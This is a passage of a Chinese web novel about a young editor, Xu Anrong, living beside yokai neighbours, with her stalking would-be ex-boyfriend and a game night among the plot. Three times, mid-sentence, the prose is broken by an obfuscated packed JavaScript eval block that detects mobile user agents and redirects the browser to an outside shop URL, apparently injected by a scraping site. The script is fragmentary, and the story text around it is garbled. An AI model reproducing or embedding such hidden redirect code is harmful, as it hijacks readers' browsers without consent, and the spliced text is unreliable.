徐安容没有说话,她之前是打开了房屋中介的网页,从那天回来后就一直有这样的念头,今天大概忘了关掉,被苗苗看见了。可要她怎么说,邻居都是妖怪,她很害怕所以想搬家?当事妖就在面前呢,让她怎么说得出口。 不说话就是默认。 苗苗的金豆豆滴滴答答落了下来,小叶子揩着眼角,竟然是说哭就哭了。 “哇……容容姐你为什么要搬家……呜呜……你是不是讨、讨厌我们……呜……我……我就知道……”抽抽搭搭的,一句话问得断断续续,小模样要多可怜有多可怜。 徐安容:“……” 你喂喂,是戏精学院毕业的吧?说哭就哭着技能溜得很啊。 一开始是装伤心,哭着哭着苗苗就真有点伤心了。 她是还没化形的小妖怪,只能成天待在家里兴风作浪,最多再上上网,一年到头没有几个可以说话的对象。好不容易遇上徐安容这么个撞破了他们底细的邻居,又做得一手好菜,虽然胆子吧有点小,但也只是有点害怕,跟以前见过的那些嫌恶他们的人不一样。 一开始来找徐安容她是存了些逗逗对方的意思,后来觉得人还不错,她还想着好好相处邻里和谐的,结果人家连邻居都不想和她做。 越想越难过,苗苗哭得更起劲了。 “哇呜呜……” 徐安容看她哭得伤心,也有点手足无措了,内心荒唐地生出了一种仿佛自己是个负心的渣男的错觉。 “苗苗乖啊,先别哭了。”她伸出手指揉了揉苗苗头顶的小叶子,使出安慰自己小侄子时的浑身解数,“我不搬,真不搬,那是替我同事看的。我知道了你们的秘密还搬家,那不就和畏罪潜逃一样了么。” 苗苗眯开一只眼瞅她:“真的?” “嗯嗯真的。”徐安容连连点头。 苗苗顿时破涕为笑:“你不搬就太好了,要是老蛇知道你想跑路,他肯定会咬你的!” 仗着当事妖不在,她心安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820014|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理得地往楚柯身上扣黑锅。 徐安容哪知道小葱妖有这样的小心思,抽了抽嘴角,想起自己被咬过的脖子,脸色忍不住青了青。苗苗的话还给她提了个醒,她身上还有楚柯下的咒呢,就算她人跑了,对象难道就不能顺着某些特殊方法找上来?还是安安心心待在这吧,至少对方目前客客气气的,并没有想要对她做什么,而且这里的房租也便宜。 “我不搬,这件事你也不要和楚柯说,好不好?” 苗苗与她击了个掌:“好,容容姐,我明天要吃可乐鸡翅!” 立刻就知道讨价还价了。 徐安容屈服在她的威胁之下:“……行吧。” …… 送两小妖从阳台回家,徐安容遇到了站在那等着的楚柯,猝不及防下与他打了个照面,尴尬地挥了挥手。 “楚……先生,早啊。” 这几天她就见过苗苗和大黄,这个男人她是一直小心避着的,和苗苗他们相比,楚柯明显要危险多了,他可是可以一直化形混迹在人类中还成为了漫画大神的妖怪。举个简单的例子,假如苗苗是新手村用来练手的小妖怪,那楚柯就是最后一关的大boss。她很有自知之明,所以不想招惹对方,更不想让对方想起来被雄黄泼了一脸的经历。 楚柯淡然地点了点头,算是回应。 从她手里接过苗苗,楚柯的表情才算是丰富了一点。 “麻烦你了,小孩子不听话,总爱乱跑。” “不麻烦不麻烦。”徐安容摇头。 楚柯顿了顿,似乎想要说什么,但最终什么也没说,只捧着苗苗招呼大黄回屋里。苗苗还惦记着他那句“小孩子不听话”,等进了屋就在他手心里朝他扮了个鬼脸。 “怎么一直跑去隔壁玩?” “去吃饭。”大黄替苗苗回答道。 苗苗跳到茶几上,继续朝他做鬼脸:“还不都是因为你!黑心葛朗台,天天逼未成年妖吃泡面,太过分了!容容姐的手艺可好了,我才不要像你一样吃泡面呢!” 楚柯双手环胸看着她闹腾,半晌后淡定表示:“那就把方便面也取消吧。” “哦对了,还有你的零花钱。” “大蛇哥……”苗苗蹭过去,“我错了,我特别爱吃泡面!你不要克扣我这个月的零花钱……” 楚柯并不接话,气定神闲地看着她,端详了一阵后突然问道:“你怎么哭了?” 苗苗一摸脸,是还有些湿哒哒的,甩甩小叶子,回答道:“我才没哭呢,我是诈她的。” 前言不搭后语,楚柯的目光又移向大黄,哈奇士摇了摇尾巴,老成地叹了口气,将前因后果娓娓道来。听完,楚柯又意味深长地看着苗苗,将后者看得支棱起了小叶子,像一只受惊的小刺猬。 “看、看我干嘛,我才没哭!” “哦。”楚柯淡淡应了声。 苗苗哼哼着抱住自己的小花盆往电脑桌蹦过去,楚柯看着她那欢欢喜喜的模样,又问:“你好像很喜欢她?” 苗苗跳上桌,闻言歪了歪头,说道:“容容姐是个很好的人。”停顿一下,“也很好欺负。”她很喜欢徐安容温温柔柔的性子,虽然那天她拿着雄黄怼老蛇的时候实在称不上温柔二字。 楚柯听她说着,鬼使神差地想起徐安容帮他买药的那次经历,看着苗苗的眼神就有了些微的变化,眉头皱起来:“你也不要总去打扰人家。” 苗苗得意洋洋地一甩头,哼声:“才不会,容容姐可喜欢我了!明天还要给我做可乐鸡翅呢!” 大黄和楚柯看着她得意的劲儿,齐齐翻了个白眼——臭不要脸,还不是因为你威胁人家。 “说起来,苗翠花啊。”楚柯眯了眯眼,忽然想起来之前大黄叙述的事情中的关键,再叫苗苗就带上了大名,“你是不是让我背了个黑锅?” 苗苗正伸向开机键的手顿时僵住了,不等楚柯反应过来就一溜烟跳下桌哭喊着往阳台跑。 “容容姐,救命啊——” 8. 08 清晨的敲门声 “所以你就打算在我家这么住下?” “不不不,不是住下,就住今天一晚。”苗苗摇着头,“明天老蛇应该就不记得我做过什么啦,他这几天特别忙。” 徐安容插着腰看她,扬扬眉问:“你不是说他特别小心眼?还说小心眼的雄蛇不好惹?他明天会放过你?” 苗苗探头探脑看了眼阳台,瘪瘪嘴说:“是很小心眼啦,上次就拍了他一张照片,他就把我网线拔了……不过他每次赶起稿来就什么也不记得了。”她说着拉了拉徐安容的衣袖,“容容姐,我就在你这看看电视上上网,只要一个晚上就好啦。” 现在回去老蛇肯定还记恨自己说他坏话呢,一准要拔网线,这样她就没法追女神的电视剧最新一集了。 没想到还是个网瘾少女。 徐安容心想着,瞄了瞄她抱在怀里的手机,疑惑地问道:“他拔你网线,你不能用手机看吗?” 苗苗理直气壮:“费流量啊!” “哦。”徐安容冷漠脸拍拍她的小脑袋,“要待就待吧,只能一个晚上啊。” 苗苗骨碌碌转着小眼睛,贼兮兮笑道:“那,容容姐,我的晚饭怎么解决呀?” “知道了,会有你一份的。” …… 清晨。 苗苗四仰八叉地从电脑跟前倒下来,瘫在柔软的羽绒被上,迷迷糊糊地嘀咕两声,小腿跟划水似的使劲蹬了几下,整个妖像条鱼儿一样倒滑到徐安容边上,小叶子微卷,戳了戳她露出的半边脸颊。 “嗯?怎么了……”徐安容同样迷迷糊糊地问着,声音里是浓浓的化不开的睡意。 “是不是……有人……在敲门啊……”苗苗也困得睁不开眼,声音轻得像羽毛在飘。她昨晚看完电视又刷微博看小说,凌晨两点才不知不觉抱着笔记本电脑睡了过去,直到刚才听见有人敲门的声音才稍稍清醒了一点,可也不确定究竟是不是自己睡得神志不清听错了。 “哪有人敲门……”徐安容闭着眼翻了个身,拉了拉被子盖过头顶,声音闷闷地从底下传来,“还早呢,睡觉……” “哦……”苗苗听她这么说,也没有思考,循着本能掀开被子自己也窝了进去。 十分钟后。 “容容姐……”苗苗使劲睁开了一条缝,“好像真有敲门声啊。” 她是妖嘛,听力自然比徐安容要好一点,这回确定了那个持续不断扰人清梦的声音的确是从704的门口传来的。 被窝里伸出了一只手,在床头柜摸索半天,找到了手机立刻像受到惊吓的寄居蟹一样收回了手。黑暗的被窝里亮起手机屏幕的荧光,徐安容艰难地撑起眼皮看了一眼,才六点三十五分,这个点谁会那么无聊来找她? 又看了遍通讯记录,知道她新的住址的人没说过要来找她,最近也没有快递上门,就算是有,快递小哥也不可能一大早就来。 摸索着再将手机放回去,徐安容心安理得地闭上眼:“没有人来找我,你听错了……” “这不可能。”苗苗不乐意了,她被那声音吵醒正有起床气呢,又被徐安容质疑自己身为妖怪的听力,不服气的劲儿上来,顶着强烈的睡意睁开眼,爬过去掀开被子将徐安容的头露了出来。 “容容姐你听。” “唔……”一下从黑暗进入光明,徐安容呻/吟了一声,稍稍恢复了清醒。 侧耳听了听,隔了一个客厅的距离,大门的位置好像是有咚咚的声响。徐安容坐了起来,再听,这回声音更明显了。 咚咚咚、咚咚咚…… 隐隐约约的,似乎还有人在叫她的名字, 她与苗苗对视一眼,立刻蹦了起来。 “真有人啊?” 苗苗的小脑袋认真地点了点,下一刻就见床上如同狂风过境,被子枕头都被抖起来,徐安容如同热锅上的蚂蚁焦急地转着圈。 “诶,我衣服呢,我袜子……我……” 苗苗心思灵巧地给她递上羽绒外套,徐安容接过快速披上,又冲到洗漱间花了两分钟来刷牙洗脸。五分钟后,苗苗目瞪口呆地看着一个容光焕发、温柔优雅的女性走到了大门边。 原来人类说的敲门妆竟然是真的? 当然,徐安容并没有化妆,只是稍微拾掇了一下自己,但与刚醒来时长发凌乱、面色暗沉的模样已经是天壤之别。 苗苗暗道着神奇,偷偷摸摸蹭过去,躲在鞋柜后遮住了自己的身形。 门开了。 门外拼了命砸门的人没料到门会突然打开,举着的手尴尬地停在了半空。 苗苗探头看了一眼——那是个二十七八岁的年轻男人,大概一米七八的个子,西装革履的,倒是有几分人模狗样,就是眼角眉梢流露出来的气息让人不太舒服,总觉得他在算计什么,此时的表情也有些难看。 徐安容在她打量的时间里也看清了这人的相貌,脸色顿时冷淡,伸手就要重新把门关上,那人急急忙忙把手横了进来,梗在门与门框之间。 徐安容想这可能就是报应,她前不久才对楚柯做过这样的事,现在就轮到她自己,真是天道好轮回。 她所幸也不关门了,双手抱臂,冷声喝问道:“张某某,你来干什么?” 外面站着的男人当然不叫张某某,只是姓张,但徐安容实在不想记得这个人,连喊他的名字都嫌恶心,愿意叫一声张某某已经是她容忍的极限了。 男人显然没有被人厌恶的自觉。 “容容,你不请我进去坐坐吗?”张某某厚着脸皮与她寒暄,“我就是好久没见你了,所以来看看你。” “免了,少来这一套。”徐安容伸手拦着门,死死地挡住了他前进的路,“我不想看见你,你给我离开这里。” “容容,你不要这样,我知道当初是我错了,都是我不好,你不要既折磨我又折磨自己好吗?”张某某的目光一下子变得深情而又隐忍,手微微抬起似要触摸她的脸庞,“你看,你都瘦了。” 徐安容快要呕死了,这种古老的八点档电视剧的台词连她手底下最爱怀旧的作者都写不出来,这个男人怎么能这么平静地说出来,不觉得牙酸吗?不会鸡皮疙瘩掉一地吗? 她嫌恶地退了一步,怒意染上了脸庞。 “大清早的你是不是在做梦?发神经也不要来找我好不好!” “容容……我是来找你和好的,我们复合吧。我知道你心里还是有我的,你不要再骗自己了,我知道的……”张某某没有被她的怒意吓到,得寸进尺地抓住了她的手臂。 哇!复合! 前男友! 苗苗惊讶地瞪大了小眼睛,躲在鞋柜后一动不敢动。 “放开!” 徐安容愤怒地甩开了男人的手,头一回觉得自己的素养有些不够用。她现在真的,非常非常想骂人。 “我们从来没有开始过,哪里来的分手?你又有什么资格说复合?”她的胸膛剧烈起伏着,明显被气得不轻,“张某某,我警告你,不要再来纠缠我!不然我要报警了!” 这个姓张的男人是她大学毕业的散伙饭上认识的,他是财经系的毕业生,和班里几个人都是高中同学,那时某个同学带了他来,说都是朋友就一起玩玩。正好时逢毕业,周围人大多脱了单,徐安容一个单身狗挤在一群情侣中格外显眼,就有人说要帮她介绍对象,看了看张某某条件还不错,带他来的同学就准备撮合他们俩。 徐安容父母闲聊时也问过她有没有对象,催促过两句,又被周围人的爱情粉红泡泡刺得晃眼,她就点了头说那就互相认识认识。 一开始就和普通男女一样,偶尔聊聊天,约着看几场电影,本来照这样的势头顺水推舟也就成了,偏偏才过了两周,一起看电影的时候张某某摸着黑摸了她大腿,还试图强吻她。徐安容当时就火了,一巴掌甩过去,电影才看半场就跑走了。回去后她一时心软还没删联系方式,看张某某好声好气道歉也觉得自己是不是有点过了,结果隔天就有人拍到了张某某和其他女生出入宾馆的照片发给她。 徐安容这才知道这人脚踏几条船,坐享齐人之福,想到平时他殷勤的模样,又想到自己也差点成了其中的一条船,二话不说把他所有联系方式拉黑。然而拉黑了还没完,张某某竟然在外面污蔑她私生活不检点,说她和他还有好几个男人睡过,表面装得一副清纯模样,背地里不知道多脏。 听闻这些风言风语的时候已经毕业两年了,徐安容恨得几乎咬碎了一口银牙却也拿他毫无办法。不出意外,这辈子两人是江湖不见了,谁知四个月前这人竟然摸到了她租的小公寓门口,三天一小堵,五天一大堵,非拉着她说要和她复合。要不是法制节目从小看到大,徐安容都怀疑自己会不会忍不住掏出菜刀对着他来几下。包括之后决定搬来陆北亭小区,她也不知道究竟自己是因为原来的租约到期还是被这人的无耻给震惊到了。 什么鬼扯的前男友!最多是个还没有上位的前准男友! 复合?复合你个头! 越想越气愤,徐安容激动得手指都在抖,就差指着张某某的鼻子喊他滚了。两行清泪毫无预兆地从她眼眶中滚落,对面的男人和躲在鞋柜后的小葱妖全都一愣,不同的是男人露出了一丝喜色,而小葱妖的神情则严肃了起来。 “容容,容容!你心里果然还是有我的是不是?我就知道的,要不然你怎么会和我分手后还单身了两年多……”张某某惊喜笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820015|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,伸手就要抱她,被她挥舞着手臂拍开。 “我让你走!你是听不懂人话吗?!” 一动气,眼泪流得更凶了。徐安容一手抹着眼泪一手直指楼梯,说话的声音也带上了哭腔。 她有个不太为人知的小秘密,只要生气或者情绪激动就会掉眼泪,纯属生理反应,无法自控。平时她脾气好,大家都挺喜欢她,所以也很少和别人红脸,就算有什么不愉快的事情她也习惯冷着脸和人讲道理,毕竟和人吵着吵着突然眼泪下来了实在太打击己方气势,而吵架比的就是双方气势。 张某某和苗苗不知道她这个小秘密,一个以为她口是心非,一个见情况虽然和自己想象的有出入,但看她流眼泪下意识就觉得肯定是受了委屈,想也不想撒腿就往阳台跑——她要去隔壁般救兵来给容容姐撑腰! …… 没人留意小葱妖的举动,她小小的身影实在不怎么起眼。张某某又露出了那副深情的表情,深情中似乎夹杂着悔恨。 “容容,是我当初错了,我不该因为和你、和你吵架就去找别的女孩子,我是、我是故意的,就是想要气气你,想让你吃吃醋……”张某某懊悔地叹了口气,“你拉黑了我,我都找不到你,想和你解释也没办法,要不是最近知道你其实还没放下过去,一直单身到现在,我才决定要和你把过去的事情说个明白。” 徐安容再一次被这人的无耻震惊了。 要不是她没有失忆,清楚地记得两年前发生过什么,几乎就要被张某某精湛的演技给骗过去了。当初那些实打实的证据还在她电脑里留有备份呢,睁着眼睛说瞎话的技能点得这么亮,奥斯卡小金人怎么不发给他呢。 眼泪仍然流得汹涌,徐安容心中的怒火却稍稍平复了一点,有一个疑点让她暂时放下了想要揍人的冲动,也不提让男人赶紧离开了。 “你是从谁那里知道我消息的?” 她当初厌恶死了这家伙,周围一圈朋友都是知道的,也早跟他划清了界限,没道理会主动和他提起自己的近况,他究竟是从哪里得知自己的消息,甚至连她新的地址也掌握了,还找上门来? 她突然变换的话题让张某某有些跟不上节奏,这么一打岔,他顿时愣了愣,下意识说道:“是……唐静怡……” 说完,反应过来似乎有哪里不对,他立刻补充道:“静怡知道我一直还记着你,所以才给了我地址让我来和你解释清楚当初的误会……” 徐安容没有搭理他说了什么,整张脸冷若冰霜。随手抹了两下眼泪,她掏出手机就给唐静怡打电话。 “张鑫浩手里的地址是你给的?” “一开始的地址也是你给的?” “我的消息也是你说的?” “别人不知道过去到底怎么回事,你也不知道吗?” 电话那头一开始还在打招呼,后来就没声了,张某某有些不安,试图打断她。 “容容,我……” “你给我闭嘴!”徐安容吼了他一句。 “容容,那个,对不起啊……”唐静怡在电话里小声道着歉,“我和张鑫浩毕竟是高中同学嘛,他找我聊天的时候我不小心说漏了嘴……真的,他知道以前错了,而且心里也还有你,想和你复合。而且他在你姑父的那个公司经常被上级刁难,真的很可怜,你看在过去的情分上就帮帮他吧——嘟——” 徐安容面无表情结束了通话。这时候她已经彻底冷静下来了,也不再哭了,干脆利落地把唐静怡所有的联系方式拖入了黑名单。她有那么一瞬间觉得很荒诞也很可笑,四年的同学情谊换来的就是这样的结果。不过她也因此得知了张某某神经兮兮地来找她说要重修于好的目的——果然是无利不起早。 “容容,我真的知道错了,我过去的两年里一直放不下你,你也没有忘掉我不是吗?我们重新开始……”张某某的脸色已经不像刚来时那么淡定了,却依然维持着自己深情隐忍且痛苦的人设。 “闭嘴!” 张某某的脸抽动了一下,猛地扭头朝后看去。 这回说话的不是徐安容,而是一个他从来没听过的男人的声音。仿佛淬炼过冰霜,冷得令人心底发颤,压抑在冷意下的又是浓浓的被打扰的暴躁与不满——这来源于熬夜通宵赶稿。 身后703的大门被人粗暴地推开,一个身形颀长的男人走了出来,尽管臭着一张脸,表情十分阴沉,也依然没有掩盖他的俊朗。 “一大清早就扰民,是不是没有谁教过你该怎么做人?”楚柯漫不经心地掰了掰指节,发出一阵喀拉喀拉的声响。 徐安容看到苗苗躲在楚柯身后悄悄露出一个小脑袋,调皮地冲她眨了眨眼——看哦,英雄救美来了。 9. 09 不幸的周末 张鑫浩被吓跑了。 楚柯甚至没来得及说两句重话,张鑫浩只看见他高大的身材和压迫感十足的气势就怂了,又见徐安容掏出手机似乎准备报警,知道讨不了好,立刻灰溜溜地跑了。 真是异常平淡的英雄救美啊。 苗苗不无遗憾地想,她跑去找楚柯的时候他已经画了一夜的稿,本来就有些烦躁,又被门外的声音打扰,脸色阴沉得可怕,她只提了两句对门发生的事,楚柯二话不说就站起了身,一拍即合。只可惜,剧情没有按她想象的发展,这个出场的方式一点也不帅气。 她这么想,徐安容却不这么认为。 她的脾气比较温和,连骂人都是很少有的,遇上张某某这样不要脸的无赖还真有点头疼,幸好有楚柯来替她解围……虽然他也未必是真的来给她解围的,大概是被吵到了又或者是被苗苗所怂恿,但至少是帮了她。 徐安容思索着该如何致谢,楚柯的身份让她有种潜意识的畏惧,再加上他又一贯的高冷,远没有面对苗苗时那么轻松。 她这边还在思索,那边楚柯见惹事的家伙走了,甩了甩手正准备回屋,忽然想到什么,回头看了她几眼,眉头皱起来,问了一句:“你哭了?” 眼泪已经止住,湿漉漉的泪痕挂在脸上仍然格外明显,尤其她眼角通红,睫毛挂着泪珠,看起来更是楚楚可怜。 楚柯稍稍有些不满。 明明那天雷厉风行地去给他买药还气势十足的,怎么今天遇上个垃圾货色就这么没用了呢。看来苗苗评价得对,虽然人是挺好的,但也很好欺负,这一脸受气的哭包样看着真令蛇有点不爽,早知道刚才就该给那个男人一点教训的。 徐安容哪知道他在想什么,只觉得自己被误会了,抹掉泪痕,带着哭腔反驳道:“我才没哭呢!” 这话听着可有些耳熟。 楚柯瞟了眼正蹬蹬蹬跑到徐安容身边勾着她的衣角试图吸引注意力的苗苗,又瞅瞅徐安容擦过后通红的小脸,算是给一人一妖找到了相同点。难怪她们投缘,在这方面不就很有共同语言嘛。 徐安容被他看得有点底气不足,强撑着回视道:“干、干嘛!我真的没哭!” 生理反应的事儿,怎么能算哭呢! 楚柯不置可否地点了下头,他是心地很好的妖怪,不会故意去戳穿别人的谎言的,何况这么大姑娘了哭成这样,作为人类女性肯定也觉得很丢脸吧。 所以说,脑电波不在一个频道沟通起来还真是麻烦。 徐安容看着他冷淡的表情,想起他之前开门时的不耐烦与暴躁,又觉得脖子凉飕飕的,下意识缩了缩,不敢再与看起来高冷的他继续争论,只小声地说道:“刚才的事情,谢谢你呀……” “嗯。”楚柯低低地应了声,“不客气。” 声音还是很冷。 “哦,对了。下次再有这样的人找上门,直接打给保卫处的人,让他们来处理,不要让他在这里大吵大闹。”楚柯又补充了一句,他不是每次都正好能听见的。 果然还是让他很不满吧? 徐安容惴惴不安地揪着衣袖,楚柯高冷的姿态一直让她觉得很难以相处,也完全不想惹到对方。 “我知道了……” “……嗯。”楚柯停顿了一下,回身进了屋。 他刚才有说什么吗?为什么说完后徐安容的脸色就不太对劲?最初见面的时候不还是盯着他的脸看了很久吗,为什么最近看上去都很怕他? 明明只是担心邻居一个女孩子没法处理好这样的事才给出了建议,却被邻居深深误会的黑蛇先生百思不得其解。再看向堆积在桌面上的画稿,脸上的疑惑渐渐被阴沉与烦躁所替代——距离死线还有一天。 …… “呼……真是不好惹啊。”徐安容看着703紧闭的大门,呼出了一口气,弯腰抱起被冷落很久的小葱妖往自己屋里走。 “苗苗,你们楚老大,他在妖怪里是不是也有很多妖怕他啊?好高冷啊,看着就好像每一个细胞都在说生人勿近。”徐安容碎碎念道。 苗苗认真想了想,反问道:“老蛇很高冷吗?” “不然呢?” 苗苗摸摸小下巴,不敢苟同:“等你和他熟了就知道了,一言难尽吧。” 徐安容被她正经的语气逗得笑了笑。 苗苗好奇问道:“容容姐,刚才那个男人是谁啊?听他说像你前男友,可似乎又不是。” 徐安容和她讲了一遍与对方的恩怨由来,末了点评道:“他就是不知从哪打听来的消息,说公司老总是我姑父,这才没皮没脸地来堵我。那公司老总实际上只是和我们家稍稍沾亲带故,关系并不近。” 张某某的无耻行径她早就领教过了,做出这样的事也不觉得意外。唯一让她觉得意外的是唐静怡竟然和他说了这么关于自己的事情,好歹大学同学,又做了对门的四年邻居,关系一向也是不错的,偏偏还想着让她不计前嫌地帮帮张某某。凭什么呀,慷他人之慨,有够恶心的。再一想,当初极力主张撮合的人里也有她,顿时更添气闷。 桃花多了不一定是坏事,但遇上烂桃花了就一定是坏事。张某某显然就是那朵烂桃花。 “容容姐,你这不叫烂桃花,叫犯小人。”苗苗纠正她,然后挺着小胸脯同仇敌忾地说道,“他要是下次再来,我让老蛇帮你咬死他!” 徐安容眉眼弯弯笑道:“好。” 她现在开始觉得,苗苗这样的小妖怪也是有很多可爱之处的了。 …… 早上的小插曲很快过去,残留的一点阴影也被苗苗的欢声笑语扑灭,到了晚上,徐安容已经差不多忘了早上的事了。但俗话说,福无双至, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820016|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祸不单行,等她拿着睡衣去洗澡却发现水龙头放不出水的时候,她就知道今天这厄运还没完。 先后打了物业和维修公司的电话,两边派人来看了一下说大概是最近天气冷,导致老化的水管爆裂,修起来麻烦不小。 “那要什么时候才能修好?” “徐小姐你放心,明天一早我们就会上门派人来维修的。” 物业点头哈腰道着歉,徐安容也不好意思说什么,只能硬邦邦地丢出一句“麻烦你们尽快”。 作为一个天天洗澡的南方人,徐安容曾经在调查问卷上回答过一个问题:在不能兼容的情况下,一天不吃饭和一天不洗澡,你选哪一个? 徐安容果断选择了前者。 她掏出手机开始搜寻附近的澡堂,离得近的要么就是过了营业时间,要么就是最少也得乘两站路。苗苗趴在小花盆的边沿,看着她愁眉苦脸的模样,说道:“只有你家的水管出了问题,但老蛇那又没事,你可以去隔壁洗啊。” 徐安容犹豫了两秒:“……不要紧?” 苗苗点头:“老蛇不会在意这种小事的,他的心里最近只有一件事,那就是赶稿。。” “我再考虑一下。” 徐安容说着走到了阳台。入夜后温度又直线下降,寒风飒飒,吹得人面如刀割。一分钟后,她哆嗦着走了回来,抱着睡衣去敲楚柯家的门。 苗苗举着毛巾颠颠儿地跟在她身后。 门敲了三下,悠悠地开了,里面却不见楚柯的身影。 “他在书房赶稿,有事找他吗?”大黄摇了摇尾巴问道。 “不用不用。”徐安容赶紧摇头,“我就是想……”她迟疑了一下,“想借你们家浴室用一下。” 大黄歪了歪头,看一眼苗苗,又看一眼徐安容,往后退了几步。 “行,你进来吧。” 苗苗在身后推推她:“进去呀容容姐。” 徐安容这才踏进了703的大门。 环顾了一圈,所有陈设都和上次见到的一样,唯有书房门紧闭着,应该是像大黄说的那样,楚柯在里面赶稿。屋里开着暖气,客厅中央的电视屏幕开着,跳出一个巨大的“GAMEOVER”字幕,屏幕下方连接着游戏光盘和一个操作手柄,看地上放的圆形坐垫,之前在玩的应该是大黄。 没有见到某蛇妖,徐安容轻轻舒了口气,在苗苗的指引下进了浴室。 水温适宜,热气蒸腾,在小小的空间内,将镜子模糊成一片。 她伸手擦了擦,露出一小块清晰的画面。 画面正好映照出对面的门把手,徐安容不经意地一抬头,正好看见锁芯转动了两下,整个人顿时僵住。 进来前她锁了门,虽然锁孔里就插着钥匙,但外面是苗苗和大黄,所以她并不担心,现在开门的难道是……楚柯?! 10. 10 游戏大神 门锁转动了两下没有开。 他似乎注意到了浴室里有人,很快悄无声息地走了。 生活不是演戏,没有发生什么戏剧化的尴尬,徐安容长出了一口气,加紧了洗浴的速度。出来时,楚柯正盘腿坐在电视机前和大黄一人一个操作手柄在对决。 那是一个更为精简的推塔游戏,1V1对战,画面制作得很精美,屏幕上是各种技能释放出来的刀光剑影,电视机自带的音响里时不时响起一声凄厉的惨叫。 “Firstblood。” “Doublekill。” “啊!啊……” “Pentakill!” 徐安容好奇地站在边上看着,她出来后正在对战的两妖谁也没看她,专心致志地操纵着游戏人物厮杀。别看大黄只有爪子,摆弄手柄的操作却令人眼花缭乱,她都不知道他是怎么按准键的,只看到在她围观的这段时间里,楚柯操纵的人物被他按在地上狠狠摩擦,防御塔被摧毁了一个又一个。 她有点惊奇,倒不是有心歧视,但你想想一只哈士奇蹲在电视机前搓着操作手柄戳戳戳的样子,第一反应肯定不会觉得他是个游戏高手。 那么,就是楚柯太菜了? 她看了眼在复活点复活的小人,看向楚柯的眼神就有些微妙了。不是她吹,虽然她游戏玩得不多,但怎么也不至于像他一样被蹂/躏得这么惨,大黄都来来回回把他击杀了好多次了,他那边的击杀记录还挂着一个孤零零的“1”。 真惨。 徐安容生出了一点同情,接着耳边就响起了一道声音——“Victory!” 楚柯彻底扑街。 大黄看着显示已经完成七连胜的游戏人物,十分忧伤地叹了口气,颇有种高处不胜寒、一心想求败的感觉。他摇了摇尾巴,从坐垫底下扒拉出一个巴掌大的小本本,不知从哪掏出一支笔,爪子捉着笔杆歪歪扭扭地在本子上记下一个“正”字和一横一竖。 “你又输了啊,欠我七袋狗粮。”大黄的声音有些懒洋洋的,对这个结果已经毫无意外。 他和楚柯打了赌,对方输一次就给他买一袋狗粮,结果输了一袋又一袋,就没见他有赢回去的时候。 真惨。 他的脑电波在这时候意外地和徐安容对上了。 “还要继续吗?”他问楚柯。 其实不断的胜利已经让他觉得有些无聊了,问话的时候也是兴致缺缺。楚柯的水平菜得让他想起偶尔上网联机时遇见的那些女大学生,最重要的是他还没有女大学生可爱。 楚柯点了点头,看了看站在安静地站在他们边上的徐安容,转头又看一眼开着门的浴室,放下手柄说道:“等我一下。” 他是一个敬业的好妖,虽然经常拖稿,但是这两天为了能赶在死线前交出稿子,已经连续画了两天两夜。作为一个有点小洁癖的妖,他觉得自己急需一个热水澡,如果不是之前恰巧发现了浴室有人,他可能已经误闯进去闹出了乌龙,为了等徐安容出来才和大黄玩起了游戏打发时间,现在浴室没人,该他去了。 大黄摆摆爪子道:“去吧。”说着点开了一局人机。 徐安容侧了侧身让楚柯走过,自己蹲在他原来坐着的地方,捡起他的手柄观察了一阵又放下,歪着头看大黄大杀四方。大黄转了转脑袋,看她兴致勃勃的样子,一边操作着游戏人物持续推进,一边分神和她说话。 “容容小姐想玩吗?” “我玩得挺一般的,而且也没玩过两人对战。”她没有直接回答。 刚才看楚柯和大黄玩,她也有点手痒了。尤其看见楚柯游戏人物的人头那么容易拿,而她虽然以前玩的时候技术还可以,甚至偶尔还能带队友一起飞,但这么短时间连续击杀一人多次她还是从来没有遇到过的,一时间好胜之心蠢蠢欲动。 大黄看出了她的蠢蠢欲动,眼珠子转了转,瞄瞄紧闭的浴室大门,一个念头浮上心头。 “要不试试?”他一边问着,一边把自己的操作手柄递给了她。 楚柯的水平摆在那,赢他已经没什么意思了,大神嘛,总是不屑于虐菜的,与其继续看楚老大被他虐,还不如让徐安容和他打,说不定还有点意思。 徐安容没有读心术,不知道大黄在想什么,见他热情地把手柄递过来,也没有矫情地拒绝,操作着手柄试了试每一个按键。 “我还没有玩过这样的,平时都是手机或者电脑玩。” “其实和手机电脑的操作差不多,熟练一下就能玩好了。”大黄说着顺便指点了她几句,徐安容果然一听就明白了,五分钟下来已经操纵自如,指挥己方人物攻破了敌方基地。 “咦,你玩得还可以啊。”大黄看着屏幕上硕大的“Victory”难得表扬了一句。 同样是女孩子,徐安容在他见过的里面水平算是还可以的了。 